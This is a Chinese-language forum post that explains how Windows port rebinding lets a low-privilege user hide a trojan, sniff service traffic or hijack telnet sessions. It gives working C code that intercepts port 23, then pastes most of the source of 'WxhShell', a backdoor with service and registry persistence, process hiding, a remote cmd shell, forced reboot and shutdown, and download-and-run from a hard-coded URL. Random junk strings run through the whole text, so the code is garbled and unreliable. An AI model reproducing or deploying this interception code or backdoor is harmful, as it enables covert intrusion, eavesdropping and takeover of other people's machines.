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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?RAR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t }C ^E  
>(4S `}K  
  saddr.sin_family = AF_INET; r@ *A   
"?(Fb_}i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \kGtYkctZ  
7tO$'q*h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nVA'O  
2o}G<7r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NcMq>n  
, p=8tf#  
  这意味着什么?意味着可以进行如下的攻击: IMw)X0z  
Gqb-3n gH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q@Yt`$VTN  
tZ24}~da  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GoA>sK  
T@.m^|~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t>u9NZt G  
R6o<p<fTh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /;m!>{({)  
L*oL KigT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T eTOj|  
9s6lt#?b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2s ,n!u Fd  
Sq]1SW3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \@" . GM%  
[!efQap  
  #include -"fq34v  
  #include -t#a*?"$w  
  #include o5@P>\ u>  
  #include    5!{g6=(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vszAr( t  
  int main() *K)53QKlE  
  { 3t6'5{  
  WORD wVersionRequested; yk6UuI^/  
  DWORD ret; #{cpG2Rs  
  WSADATA wsaData; =zGz|YI*?  
  BOOL val; Rk0 rHC6[  
  SOCKADDR_IN saddr; uy\+#:44d  
  SOCKADDR_IN scaddr; : 2d9ZDyD  
  int err; MpvA--  
  SOCKET s; U4pvQE.m<  
  SOCKET sc; < l ^ Z;.  
  int caddsize; pg`;)@  
  HANDLE mt; g7yHhF>%X  
  DWORD tid;   y+x>{!pw  
  wVersionRequested = MAKEWORD( 2, 2 ); )%c)-c  
  err = WSAStartup( wVersionRequested, &wsaData ); =qQQ^`^F'~  
  if ( err != 0 ) { 9@+X?Nhv5  
  printf("error!WSAStartup failed!\n"); u;1NhD<n  
  return -1; f^)nZ:~  
  }  Q'M Ez  
  saddr.sin_family = AF_INET; 3!UP>,!  
   3goJ(XI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _j tS-CnO  
&y+*3,!n8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yKhzymS}T  
  saddr.sin_port = htons(23); FJiP>S[]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N Uml"  
  { BJr Nbo;T  
  printf("error!socket failed!\n"); _( Cp   
  return -1; oIgj)AY<  
  } j"=jK^  
  val = TRUE; e-t`\5b;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {<BK@U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,gD i)]  
  {  kS9  
  printf("error!setsockopt failed!\n"); d7gSkna`5c  
  return -1; o`Brr:  
  } # =3]bg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7[ji,.7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xq*yZ5:5Jo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B 1.@K}  
Ww4G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cK@K\AE  
  { #<3\}*/  
  ret=GetLastError(); :M`BVZ1t  
  printf("error!bind failed!\n"); "VCr^'  
  return -1; IGQ8-#=  
  } 0~+ k  
  listen(s,2); _xsYcw~)  
  while(1) vBXr[XoC  
  {  e:R[  
  caddsize = sizeof(scaddr); UGgi)  
  //接受连接请求 t$|6} BX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C[,-1e?  
  if(sc!=INVALID_SOCKET) ?J-KB3Uv3  
  { C"WZsF^3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (#`o >G(  
  if(mt==NULL) N`MQHQ1  
  { [i_x 1  
  printf("Thread Creat Failed!\n"); gC-0je  
  break; xn[di-L F  
  } Xs_y!l  
  } 2uEu,YC  
  CloseHandle(mt); N*W.V,6yH  
  } AG2jl/  
  closesocket(s); c5pG?jr+d  
  WSACleanup(); e)7r  
  return 0; x N)Ck76  
  }   .m51/X&*n  
  DWORD WINAPI ClientThread(LPVOID lpParam) (#lS?+w)  
  { $!w%=  
  SOCKET ss = (SOCKET)lpParam; (%, '  
  SOCKET sc; AR^Di`n!  
  unsigned char buf[4096]; v2R:=d ')>  
  SOCKADDR_IN saddr; 6 [E"  
  long num; rK wkj)  
  DWORD val; PN=yf@<V3F  
  DWORD ret; :8 :>CHa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;<H2N0qJ(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !}?]&[N=  
  saddr.sin_family = AF_INET; "?-s Qn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eH6cBX#P.  
  saddr.sin_port = htons(23); i9tM]/SP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L zC~>Uj  
  { Sq%R  
  printf("error!socket failed!\n"); vD t? N9  
  return -1; *fZ'#C~x  
  } /8T{bJ5  
  val = 100; jL&F7itP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )&K%Me  
  { .+sIjd  
  ret = GetLastError(); @}:(t{>;e7  
  return -1; ;p8xL)mUP  
  } .rHO7c,P~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >{Djx  
  { >E3OYa?G  
  ret = GetLastError(); Sb.;$Be5g  
  return -1; VXp X#O  
  } Vv]mME@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mDUS9>  
  { yFjSvm6  
  printf("error!socket connect failed!\n"); {;r5]wimb  
  closesocket(sc); d|3[MnU[a  
  closesocket(ss); =9-c*bL  
  return -1; vr$ [  
  } aoN[mV '  
  while(1) l]gf T&  
  { gqd#rjtfz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vSh)r 9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qI9 BAs1~}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lKcnM3n  
  num = recv(ss,buf,4096,0); 6*tGf`Pfdw  
  if(num>0) NT0q!r/!  
  send(sc,buf,num,0); 3;A AC (X  
  else if(num==0) -[z;y73]t  
  break; wuCODz@~  
  num = recv(sc,buf,4096,0); t [f]  
  if(num>0) , {^g}d8  
  send(ss,buf,num,0); %|Vq"MW,I  
  else if(num==0) 1ARIZ;H  
  break; QMP:}  
  } ?uQpt(  
  closesocket(ss); lOZZ-  
  closesocket(sc); f|!zjX`  
  return 0 ; 7-)KTBFL  
  } ~<-i7uM  
Flsf5 Tr0  
HXX"B,N  
========================================================== sy;~(rpg  
f`cO5lP/:)  
下边附上一个代码,,WXhSHELL 0:nyOx(;  
Em;zi.Y+V  
========================================================== (Q&Z/Fe  
kq+L63fZ  
#include "stdafx.h" NR" Xn7G  
hz!.|U@,{<  
#include <stdio.h> P:G^@B3^  
#include <string.h> o/&Q^^Xj^~  
#include <windows.h> G"]'`2.m  
#include <winsock2.h> *=rl<?tX  
#include <winsvc.h> U<$|ET'  
#include <urlmon.h> mSs%gL]g  
Onao'sjY  
#pragma comment (lib, "Ws2_32.lib") +m_quQ/ys  
#pragma comment (lib, "urlmon.lib") gO29:L[t  
/1YqDK0  
#define MAX_USER   100 // 最大客户端连接数 w5p+Yx=q  
#define BUF_SOCK   200 // sock buffer UWz<~Vy  
#define KEY_BUFF   255 // 输入 buffer F{v+z8nW  
#H|]F86(  
#define REBOOT     0   // 重启 ^c*'O0y[D  
#define SHUTDOWN   1   // 关机 s&4Y+dk93  
&}<IR\ci  
#define DEF_PORT   5000 // 监听端口 +NQw ^!0qy  
B--`=@IRf"  
#define REG_LEN     16   // 注册表键长度 EG,RlmcPp  
#define SVC_LEN     80   // NT服务名长度 z[th@!3  
B|tP3<  
// 从dll定义API Xh5 z8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &W1c#]q@r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P6 9S[aqW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r!+)U#8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r>V go):s  
3/iGSG`  
// wxhshell配置信息 /J^yOR9  
struct WSCFG { O3S_P]{*ny  
  int ws_port;         // 监听端口 I/c* ?  
  char ws_passstr[REG_LEN]; // 口令 )l^w _;  
  int ws_autoins;       // 安装标记, 1=yes 0=no  1r$q $\  
  char ws_regname[REG_LEN]; // 注册表键名 uv,t(a.^  
  char ws_svcname[REG_LEN]; // 服务名 _("{fJ,A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *x$\5;A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H'+P7*k#M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !I@"+oY<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YQ&Xd/z-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fU,sn5zZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "[76>\'H  
bx1'  
}; o}<}zTU  
S>nM&758  
// default Wxhshell configuration ,`K'qms  
struct WSCFG wscfg={DEF_PORT, AkGCIn3  
    "xuhuanlingzhe", 9k1n-po  
    1, %A04'dj`zQ  
    "Wxhshell", .-{B  
    "Wxhshell", w _n)*he)z  
            "WxhShell Service", z"|^Y|`m  
    "Wrsky Windows CmdShell Service", ^b'[ 81%  
    "Please Input Your Password: ", A>Js`s  
  1, C]82Mt  
  "http://www.wrsky.com/wxhshell.exe", Jjv, )@yo  
  "Wxhshell.exe" uGOvZO^v  
    }; ]w({5i  
_&P![o)x  
// 消息定义模块 +`zM^'^$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -3A#a_fu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xI$B",?(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'F1NBL   
char *msg_ws_ext="\n\rExit."; M '[.ay  
char *msg_ws_end="\n\rQuit."; ,u/GA<'#M  
char *msg_ws_boot="\n\rReboot..."; CtS*"c,j  
char *msg_ws_poff="\n\rShutdown..."; u9J;OsnHK  
char *msg_ws_down="\n\rSave to "; F4@``20|  
kP3'BBd,  
char *msg_ws_err="\n\rErr!"; w[t!?(![>  
char *msg_ws_ok="\n\rOK!"; Iq MXd K|  
to2dkU  
char ExeFile[MAX_PATH]; sJ,:[  
int nUser = 0; .xS}/^8iD  
HANDLE handles[MAX_USER]; wUab)L  
int OsIsNt; ;kY'DKL(  
!>+YEZ"  
SERVICE_STATUS       serviceStatus; b k 30d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z3)1!|#Q  
S 7RB` I5  
// 函数声明 QOMh"wC3  
int Install(void); GHfsq|*j,Z  
int Uninstall(void); UT%^!@u  
int DownloadFile(char *sURL, SOCKET wsh); 7*`cWT_X  
int Boot(int flag); 5\lOZYHX  
void HideProc(void); mJp)nF8r~  
int GetOsVer(void); <GT&q <4w  
int Wxhshell(SOCKET wsl); -:&qNY:Vp  
void TalkWithClient(void *cs); (bY#!16C:  
int CmdShell(SOCKET sock); Y;G+jC8   
int StartFromService(void); N^H~VG&D(  
int StartWxhshell(LPSTR lpCmdLine); ?"\X46Gz;  
B[}#m'Lv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1jO}{U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pbt/i+!  
L'M'I0"/  
// 数据结构和表定义 U:"E:Bxz;m  
SERVICE_TABLE_ENTRY DispatchTable[] = 30bScW<08  
{ :A.dlesv6  
{wscfg.ws_svcname, NTServiceMain}, k%Jv%m}aB  
{NULL, NULL} Mt"j< ]EW  
}; hKj"Lb9 ]  
Tapj7/0`  
// 自我安装 T_i]y4dg  
int Install(void) fo@ 2@  
{ 0 fX  
  char svExeFile[MAX_PATH]; e4ym6q<6!  
  HKEY key; kO>F, M  
  strcpy(svExeFile,ExeFile); .IXkdy  
,onOwPz  
// 如果是win9x系统,修改注册表设为自启动 fL>>hBCqC  
if(!OsIsNt) { fO|oV0Rw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )5Mf,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [9Q}e;T  
  RegCloseKey(key); v2][gn+58  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wz',>&a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DE M;)-D  
  RegCloseKey(key); *EY^t=  
  return 0; ;Sl]8IZ  
    } /{QR:8}-Q  
  } l.NV]up +  
} lu2"?y[2  
else { b\& |030+  
lky{<jZ%  
// 如果是NT以上系统,安装为系统服务 8K$q6V%#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N{w)}me[YY  
if (schSCManager!=0) gJz~~g'  
{ MZ]#9/  
  SC_HANDLE schService = CreateService SkU'JM7<95  
  ( G;Jqby8d  
  schSCManager, ]#x!mZ!  
  wscfg.ws_svcname, b+7!$  
  wscfg.ws_svcdisp, ?( rJ  
  SERVICE_ALL_ACCESS, SFP%UfM<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V 3?x_pp  
  SERVICE_AUTO_START, L Vt{`   
  SERVICE_ERROR_NORMAL, D; i%J  
  svExeFile, T$)N2]FE  
  NULL, i^ `]TOP  
  NULL, ^FJ .C|l(  
  NULL, F-0|&0  
  NULL, /a@gE^TM  
  NULL jG~zpZh  
  ); !0p_s;uu,W  
  if (schService!=0) t|XQFb@}  
  { %+0 7>/  
  CloseServiceHandle(schService); 9 8O0M#|d  
  CloseServiceHandle(schSCManager); vG;)(.:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *>"k/XUn$  
  strcat(svExeFile,wscfg.ws_svcname); JWzN 'a R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ] /w: 5o#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w=Cq v~  
  RegCloseKey(key); KicPW}_  
  return 0; 9b88):[qO  
    } L!2BE[~  
  } +OM`c7M:  
  CloseServiceHandle(schSCManager); EdgcdSb7  
} ]m&cVy&  
} k?[|8H~2C  
bUJ5j kZ)  
return 1; 5^:N]Mp"  
} fZ8at  
_\mMgZu  
// 自我卸载 %uA\Le  
int Uninstall(void) [(Jj@HlP6T  
{ rsSE*(T t  
  HKEY key; )}`3haG  
>d1gVBhk  
if(!OsIsNt) { VEUdw(-?s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VkKq<`t<  
  RegDeleteValue(key,wscfg.ws_regname); LNm{}VJ%  
  RegCloseKey(key); UTT7a"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q4Z9;^S  
  RegDeleteValue(key,wscfg.ws_regname); c^Y&4=>T  
  RegCloseKey(key); wlvhDJ  
  return 0; BM6 J  
  } AiMD"7 )c  
} 0C3s  
} B-EVo&.  
else { b d!|/Lk  
6@N?`6Bt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pyvZ[R 9  
if (schSCManager!=0) D`|.%  
{ f/!^QL{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nw 74T  
  if (schService!=0) YSQB*FBz  
  { tp4/c'w;)J  
  if(DeleteService(schService)!=0) { 39j "z8 n  
  CloseServiceHandle(schService); |gl~wG1@  
  CloseServiceHandle(schSCManager); !+Ia#(  
  return 0; \:`'!X1*U  
  } ~i3/Ec0\  
  CloseServiceHandle(schService); ze5Hg'f  
  } S4qj}`$ Yv  
  CloseServiceHandle(schSCManager); F% <hng%k  
} $]H^?  
} Hjho!np  
y}TiN!M  
return 1; {i}z|'!  
} R[ 'k&jyi  
g8I=s7cnb  
// 从指定url下载文件 c(:qid  
int DownloadFile(char *sURL, SOCKET wsh) +1`Zu$|  
{ qJ\tc\  
  HRESULT hr; g(9\r  
char seps[]= "/"; kB`t_`7f  
char *token; P[|FK(l  
char *file; Zjo8/  
char myURL[MAX_PATH]; u2p5* gzZ  
char myFILE[MAX_PATH]; ~[E@P1  
;a]Lxx;-  
strcpy(myURL,sURL); }digw(  
  token=strtok(myURL,seps); SHM ?32'  
  while(token!=NULL) !`S`%\"  
  { G'*_7HD  
    file=token; =e<;B_ ~.  
  token=strtok(NULL,seps); y1zNF$<q  
  } ?B&Z x-krd  
! y1]S .;  
GetCurrentDirectory(MAX_PATH,myFILE); 1r %~Rm  
strcat(myFILE, "\\"); t6zc$0-j "  
strcat(myFILE, file); B5- G.Z  
  send(wsh,myFILE,strlen(myFILE),0); ?52{s"N0>  
send(wsh,"...",3,0); 'eKvt5&@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vkQ81PEt  
  if(hr==S_OK) $-Ud&sjn  
return 0; LdSBNg#3  
else .iDxq8l  
return 1; ]}K\&ho2  
BseK?`]U"  
} %]~XbO  
@O~  
// 系统电源模块 ;H%&Jht  
int Boot(int flag) T2;%@Ghc  
{ hWzjn5w3  
  HANDLE hToken; j\,HquTR  
  TOKEN_PRIVILEGES tkp; 37 #|X*L  
KK}?x6wV0,  
  if(OsIsNt) { $6&P 69<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Afpj*o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i&|fGX?-I  
    tkp.PrivilegeCount = 1; 1pT v6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6CKWKc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H|E{n/g  
if(flag==REBOOT) { |2!!>1k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jafIKSD]%  
  return 0; P>*g'OK^!G  
} lkj^<%N"r  
else { Q}a, f75  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \ 2cI=Qf  
  return 0; me-:A:si  
} /3MTutM|<X  
  } lnXb]tm;  
  else { pt"yJtM'P  
if(flag==REBOOT) { qb rf;`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yMdAe>@  
  return 0; 6usy0g D  
} ,I(PDlvtM  
else { ZcTxE]Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <NIg`B@'s  
  return 0; / 7EeM{,~  
} 3YtFO;-  
} ;n-)4b]\  
#g.J,L  
return 1; P)7_RE*gY  
} /F>\-    
auV'`PR  
// win9x进程隐藏模块 IEi E6z]L(  
void HideProc(void) `(SWE+m1g  
{ LGxQ>f[V  
.JR"|;M}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~:65e 8K  
  if ( hKernel != NULL ) HA +EuQE"  
  { oD5VE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); os\"(*dix  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uYh6q1@"~  
    FreeLibrary(hKernel); k\:f2%!!  
  } 1|4'3^3  
|2yTt*!-r  
return; &9Vm3X  
} 9.bMA<X  
x]({Po4  
// 获取操作系统版本 v-* CE[  
int GetOsVer(void) +y+-~;5iv  
{ {gSR49!Q  
  OSVERSIONINFO winfo; IIN"'7Z^R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M6ol/.G[  
  GetVersionEx(&winfo); *`}4]OGv.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &hK5WP6whW  
  return 1; 5kwDmJy  
  else 5W0'r'{  
  return 0; qO5.NIs  
} 1' #%U A  
ELF,T (  
// 客户端句柄模块 &"V%n  
int Wxhshell(SOCKET wsl) &FQ]`g3_@  
{ NNWbbU3wjh  
  SOCKET wsh; $N7:;X"l  
  struct sockaddr_in client; GN36:>VWb  
  DWORD myID; /]/3)@wT  
*^'$YVd#  
  while(nUser<MAX_USER) _$OhV#LKG  
{ #}^ kMD >  
  int nSize=sizeof(client); Y(>]7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {.W$<y (j7  
  if(wsh==INVALID_SOCKET) return 1; e`1,jt'  
97H2hYw9l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fo"dX4%}  
if(handles[nUser]==0) u9AXiv+K  
  closesocket(wsh); 'E/vE0nN?  
else m"B)%?C#  
  nUser++; 2<$C6J0HM  
  } 5t$ZEp-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }2sc|K^  
Dh*>361y-  
  return 0; GHQa{@m2V  
} nwd 02tu  
:K!@zT=o  
// 关闭 socket @@U'I^iG  
void CloseIt(SOCKET wsh) >\Qyg>Md]  
{ WMB~? EDhv  
closesocket(wsh); JwzA'[tM  
nUser--; Ga\E`J$c  
ExitThread(0); k~ZwHx(%S  
} 4m%RD&ZN  
H79|%@F"  
// 客户端请求句柄 =1o_:VOG  
void TalkWithClient(void *cs) )t G`a ;  
{ &`7tX.iMlh  
(h0i2>K  
  SOCKET wsh=(SOCKET)cs; 8aw'Q?  
  char pwd[SVC_LEN]; <De29'},y  
  char cmd[KEY_BUFF]; Sr_]R<?  
char chr[1]; y8U|A0@$`  
int i,j; *Z7W'-  
&~ g||rq  
  while (nUser < MAX_USER) { l?_Iu_Qp  
;9,<&fe  
if(wscfg.ws_passstr) { ;0V{^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XVi?- /2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X*F#=.lh  
  //ZeroMemory(pwd,KEY_BUFF); W M/pP?||  
      i=0; I71kFtvcy*  
  while(i<SVC_LEN) {  ]A;zY%>  
4ze-N8<[  
  // 设置超时 =K#D^c~  
  fd_set FdRead; d+KLtvB%M  
  struct timeval TimeOut; ^s25z=^t  
  FD_ZERO(&FdRead); 9:^SnHAa  
  FD_SET(wsh,&FdRead); Pms"YhyZ7  
  TimeOut.tv_sec=8; [((P ,v*  
  TimeOut.tv_usec=0; #vJDb |z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &Y"u*)bm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XW6>;:4k  
PTe8,cD>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &?(r# T  
  pwd=chr[0]; =@b/Gl  
  if(chr[0]==0xd || chr[0]==0xa) { >^%]F[Wo  
  pwd=0; %WrUu|xj>_  
  break; < J=9,tv<  
  } |$`LsA.  
  i++; m(nGtrQJm  
    } ~ ={8b  
VsOn j~@  
  // 如果是非法用户,关闭 socket =iy%;>I `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TD+V.}  
} X:\r )  
fZ6lnZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tk4~ 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @bdGV#* d  
/jih;J|  
while(1) { #SQao;>  
4os7tx  
  ZeroMemory(cmd,KEY_BUFF); Wa~'p+<c~b  
pR2QS  
      // 自动支持客户端 telnet标准   ev>gh0  
  j=0; 1R)4[oYN\<  
  while(j<KEY_BUFF) { j+Nun  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KFHn)+*"  
  cmd[j]=chr[0]; vX})6O  
  if(chr[0]==0xa || chr[0]==0xd) { I.I:2Ew+  
  cmd[j]=0; &eq>>  
  break; v\ggFrG]  
  } RKaCX:  
  j++; '7Dg+a^x7  
    } P?*$Wf,~n  
;X6FhQ;{*0  
  // 下载文件 A P><l@  
  if(strstr(cmd,"http://")) { g"|QI=&_J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F+R4nFA  
  if(DownloadFile(cmd,wsh)) %^xY7!{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*hOa|7/  
  else O-6848iCX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > Zo_-,  
  } ~}|)@,N'bm  
  else { g*Nc+W](P>  
t{tcy$bw  
    switch(cmd[0]) { 9mkt.>$  
  po+>83/!oq  
  // 帮助 ?!1K@/!  
  case '?': { g@YJ#S(}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AQ 3n=Lr   
    break; 6sBS;+C  
  } LhC%`w  
  // 安装 C5#3c yf*B  
  case 'i': { p=jD "lq  
    if(Install()) wI\v5&X-B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8C4DOz|  
    else QbqEe/*$_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }X94M7+->  
    break; oqOv"yLJ:  
    } |lAu6d !  
  // 卸载 r> 4.{\ C  
  case 'r': { jgbUZP4J>  
    if(Uninstall()) qsn6i%VH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fy8KZWim  
    else !]4'f/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;>Y,b4B;  
    break; ,%e.nj9  
    } s QfP8}U  
  // 显示 wxhshell 所在路径 `s(T (l  
  case 'p': { ZWaHG_ U)  
    char svExeFile[MAX_PATH]; .)|r!X  
    strcpy(svExeFile,"\n\r"); =Y>_b 2  
      strcat(svExeFile,ExeFile); ['j_W$8n  
        send(wsh,svExeFile,strlen(svExeFile),0); 61>@-55k9  
    break; IZBU<1M  
    } p't>'?UH|  
  // 重启 |,L_d2lb  
  case 'b': { !VU[=~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +CtsD9PA  
    if(Boot(REBOOT)) .%;UP7g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +{N LziO  
    else { =xScHy{$  
    closesocket(wsh); B ?96d'A  
    ExitThread(0); Alaq![7MDP  
    } (D F{l?4x-  
    break; Fp..Sjh 6  
    } q:@$$}FjL  
  // 关机 Au,xIe!t  
  case 'd': { msOk~ZPE6\  
